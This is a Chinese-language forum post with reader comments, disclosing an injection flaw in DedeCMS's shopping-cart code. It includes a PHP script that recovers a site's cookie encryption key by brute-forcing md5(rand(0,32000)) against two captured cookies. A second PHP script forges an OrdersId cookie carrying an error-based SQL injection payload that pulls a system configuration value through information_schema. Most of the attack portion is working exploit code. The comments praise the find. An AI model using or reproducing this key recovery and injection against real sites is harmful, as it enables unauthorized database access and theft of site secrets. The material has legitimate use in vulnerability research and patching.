Dedecms 注入漏洞
在 include/shopcar.class.php中
先看一下这个shopcar类是如何生成cookie的简单的说,$key就是cookie的key,value就是value,enCode的作用是将array类型转变为a=yy&b=cc&d=know这样的类型,关键是enCrypt函数enCrypt的参数$txt 我们是可知的,返回值就是cookie的值,这个我们也是可知的
然后到了enCrypt调用 setKey时的参数$tmp,这个参数在某种意义上,我们也是可知的,因为$encrypt_key = md5(rand(0, 32000));只有32000种可能,我们可以推出32000种可能的$tmp,从而推出32000种可能的md5(strtolower($cfg_cookie_encode)),对了,忘记说了,我们的目的是推测出setKey中$encrypt_key的值,然后才能任意构造出购物车的cookie,从推出的32000种md5(strtolower($cfg_cookie_encode)),简单过滤掉非字母数字的key,就只剩下几百个可能的key,然后我们再从新下一次订单,然后再获取几百个可能的key,然后取交集,得到最终key。
具体代码如下:cookie1 和 cookie2 是我下了两次订单后分别生成的cookie,
plantxt可以根据页面来自己推算,大概就是这个格式:id=2&price=0&units=fun&buynum=1&title=naduohua1
然后推算出md5(strtolower($cfg_cookie_encode))
得到这个key之后,我们就可以构造任意购物车的cookie
接着看发现OrderId是从cookie里面获取的
然后
/plus/carbuyaction.php中的接着我们就可以注入了
通过利用下面代码生成cookie:
先看一下这个shopcar类是如何生成cookie的
function saveCookie($key,$value)
{
if(is_array($value))
{
$value = $this->enCrypt($this->enCode($value));
}
else
{
$value = $this->enCrypt($value);
}
setcookie($key,$value,time()+36000,'/');
}
function enCrypt($txt)
{
srand((double)microtime() * 1000000);
$encrypt_key = md5(rand(0, 32000));
$ctr = 0;
$tmp = '';
for($i = 0; $i < strlen($txt); $i++)
{
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
}
return base64_encode($this->setKey($tmp));
}
function setKey($txt)
{
global $cfg_cookie_encode;
$encrypt_key = md5(strtolower($cfg_cookie_encode));
$ctr = 0;
$tmp = '';
for($i = 0; $i < strlen($txt); $i++)
{
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
}
return $tmp;
}
然后到了enCrypt调用 setKey时的参数$tmp,这个参数在某种意义上,我们也是可知的,因为$encrypt_key = md5(rand(0, 32000));只有32000种可能,我们可以推出32000种可能的$tmp,从而推出32000种可能的md5(strtolower($cfg_cookie_encode)),对了,忘记说了,我们的目的是推测出setKey中$encrypt_key的值,然后才能任意构造出购物车的cookie,从推出的32000种md5(strtolower($cfg_cookie_encode)),简单过滤掉非字母数字的key,就只剩下几百个可能的key,然后我们再从新下一次订单,然后再获取几百个可能的key,然后取交集,得到最终key。
具体代码如下:
<?php
$cookie1 = "X2lRPFNlCmlWc1cvAHNXMABjAToHbVcyB3ZXJFIwA20LIAlzU2ULPARyAmQGIVU5VyJbfFVsBiYNN1dsUG0DIl90UTFTLAo3VjBXYgBvVzgAZAEqBz9XagclVzBSbw=="; // here is the first cookie,change here
$cookie2 = "ADYCb1RiBmUDJghwUyAFYlIxW2BROwhtVCUIe1AyC2UOJVMpADYBNgJ0AmRUcw5iAncAJ1JrCSlQalBrAj8CIwArAmJUKwY7A2UIPVM8BWpSNltwUWkINVR2CG9QbQ=="; // here is the second cookie ,change here
$plantxt = "id=2&price=0&units=fun&buynum=1&title=naduohua1"; // here is the text , change here
function reStrCode($code,$string)
{
$code = base64_decode($code);
$key = "";
for($i=0 ; $i<32 ; $i++)
{
$key .= $string[$i] ^ $code[$i];
}
return $key;
}
function getKeys($cookie,$plantxt)
{
$tmp = $cookie;
$results = array();
for($j=0 ; $j < 32000; $j++)
{
$txt = $plantxt;
$ctr = 0;
$tmp = '';
$encrypt_key = md5($j);
for($i =0; $i < strlen($txt); $i ++)
{
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
}
$string = $tmp;
$code = $cookie;
$result = reStrCode($code,$string);
if(eregi('^[a-z0-9]+$',$result))
{
echo $result."\n";
$results[] = $result;
}
}
return $results;
}
$results1 = getKeys($cookie1,$plantxt);
$results2 = getKeys($cookie2,$plantxt);
print "\n--------------------real key--------------------------\n";
foreach($results1 as $test1)
{
foreach($results2 as $test2)
{
if($test1 == $test2)
{
echo $test1."\n";
}
}
}
?>
plantxt可以根据页面来自己推算,大概就是这个格式:id=2&price=0&units=fun&buynum=1&title=naduohua1
然后推算出md5(strtolower($cfg_cookie_encode))
得到这个key之后,我们就可以构造任意购物车的cookie
接着看
class MemberShops
{
var $OrdersId;
var $productsId;
function __construct()
{
$this->OrdersId = $this->getCookie("OrdersId");
if(empty($this->OrdersId))
{
$this->OrdersId = $this->MakeOrders();
}
}
然后
/plus/carbuyaction.php中的
$cart = new MemberShops();
$OrdersId = $cart->OrdersId; //本次记录的订单号
......
$rows = $dsql->GetOne("SELECT `oid` FROM #@__shops_orders WHERE oid='$OrdersId' LIMIT 0,1");
通过利用下面代码生成cookie:
<?php
$txt = "1' or 1=@`\'` and (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((select value from #@__sysconfig where aid=3),1,62)))a from information_schema.tables group by a)b) or 1=@`\'` or '1'='1";
$encrypt_key = "9f09293b7419ed68448fb51d5b174834"; // here is the key, please change here
function setKey($txt)
{
global $encrypt_key;
$ctr = 0;
$tmp = '';
for($i = 0; $i < strlen($txt); $i++)
{
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
}
return $tmp;
}
function enCrypt($txt)
{
srand((double)microtime() * 1000000);
$encrypt_key = md5(rand(0, 32000));
$ctr = 0;
$tmp = '';
for($i = 0; $i < strlen($txt); $i++)
{
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
}
return base64_encode(setKey($tmp));
}
for($dest =0;$dest = enCrypt($txt);)
{
if(!strpos($dest,'+'))
{
break;
}
}
echo $dest."\n";
?>
评论30次
不错的。
哇 厉害厉害
支持下楼主!
还以为最新的,原来是前几天爆的!
思路牛逼
新年礼物啊,感谢LZ分享~
dede真是遭罪啊....
漏洞之王啊 ,
大过年的还在研究技术 精神可嘉
没后台咋办???
。乌云直接就提示厂商忽略,当天提交当天叫给公开了。
也在一直关注0x50sec。确实不少好东西。
又是新年礼物啊~~感谢分享
哇`厉害厉害,算是新年礼物么?
给力。。。
不错
这个给力啊
不过思路值得学xi
仔细看了下,这里还是稍微有点鸡肋,必须要有商品才能利用啊
只能说牛逼